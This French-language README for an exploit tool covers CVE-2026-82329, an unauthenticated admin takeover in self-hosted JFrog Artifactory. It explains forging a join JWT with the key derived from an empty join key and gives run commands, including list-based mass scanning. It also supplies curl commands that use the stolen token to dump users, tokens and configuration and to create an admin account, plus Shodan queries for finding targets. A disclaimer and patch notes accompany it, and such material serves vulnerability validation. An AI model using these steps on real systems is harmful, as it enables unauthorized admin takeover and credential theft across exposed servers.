
Exploit pour CVE-2026-82329, un contournement d'authentification non authentifié dans JFrog Artifactory auto-hébergé, permettant la prise de contrôle du jeton administrateur via une clé d'adhésion vide.
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (auto-hébergé) join-JWT non authentifié
→ jeton SERVICE admin → jeton d'accès plateforme applied-permissions/admin.
CVSS 9.8 · CWE-287 · CISA KEV · exploité dans la nature.
Tests autorisés uniquement. N'exécutez pas cet outil contre des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation écrite de test.
Les installations auto-hébergées par défaut font confiance à une clé de jointure vide.
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
JFrog hébergé dans le cloud est corrigé. Auto-hébergé uniquement.
Ligne de correctif Access : 7.191.14.
# stdlib uniquement — pas de pip
python3 artifactory.py -h
La vérification TLS est désactivée par défaut (un Artifactory auto-signé est normal).
Aucun drapeau supplémentaire.
# hôte unique
python3 artifactory.py -u https://artifactory.example.internal:8082
# afficher le jeton admin généré
python3 artifactory.py -u https://TARGET:8082 --token
# liste / pipeline (style httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise uniquement — persister un admin local (destructif)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (corrigé / pas de clé vide)
[FAIL] https://dead:8082 inaccessible
| Balise |
|---|
--token affiche la valeur Bearer. C'est la prise de contrôle — un utilisateur de connexion est facultatif.
--create-admin renvoie souvent 400 sur OSS (PUT /artifactory/api/security/users est Pro).
Le jeton admin fonctionne toujours. La persistance n'est pas requise pour un résultat valide.
Remplacez TARGET et collez le jeton de --token.
TOKEN='eyJ...' # sortie de --token
B='https://TARGET:8082'
# version / édition
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# annuaire des utilisateurs (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# chaque jeton d'accès sur l'instance
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# inventaire des dépôts
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
Autres lectures utiles réservées à l'admin (n'écrivez pas sans autorisation) :
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
Interface : Plateforme → connexion avec Access Token, ou envoyez
Authorization: Bearer <token> sur chaque requête.
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
Une erreur 400 de politique de mot de passe ≠ non vulnérable. Le jeton a déjà aud=*.
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# ports courants
8081 8082 8040 8046 443
L'outil supprime /artifactory /ui /webapp de -u et communique avec le routeur Access sur la même origine.
--create-admin n'est pas le résultatSignalez l'impact comme : jeton administrateur de plateforme non authentifié.
La création d'utilisateur est un suivi, pas le problème racine.
Ce dépôt est un validateur pour les systèmes que vous êtes autorisé à tester.
Générer des jetons, lister des utilisateurs ou créer des comptes sur une infrastructure tierce sans permission est illégal.
Correctif : mettez à niveau vers la version corrigée de votre branche, définissez une vraie clé de jointure, révoquez les jetons générés après la divulgation.
mitsec · @ynsmroztas
| Étape | Requête | Résultat |
|---|
| 1 | Forger un join JWT HS256 (iat récent, skip_node_registration=true) | secret HMAC connu |
| 2 | POST /access/api/v1/registry/join | 201 jeton SERVICE scp=admin |
| 3 | POST /access/api/v1/tokens | 200 jeton admin scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | preuve admin uniquement (sans auth = 401) |
| Branche | Vulnérable ≤ | Corrigé |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
| Signification |
|---|
VULN | Jointure vide acceptée + preuve admin (configuration ou liste de jetons = 200) |
SAFE | Jointure rejetée — corrigé, clés de jointure supplémentaires définies, ou pas Access |
INFO | Jointure générée, points de terminaison de preuve non 200 — inspecter manuellement |
FAIL | Réseau / délai d'attente |
| Surface | OSS | Pro / Enterprise |
|---|
| Générer un jeton d'accès admin | oui | oui |
| Lire la config / lister les jetons / dépôts | oui | oui |
PUT /artifactory/api/security/users | 400 Pro uniquement | 200/201 |
POST /access/api/v2/users | dépend de la version / politique | 201 |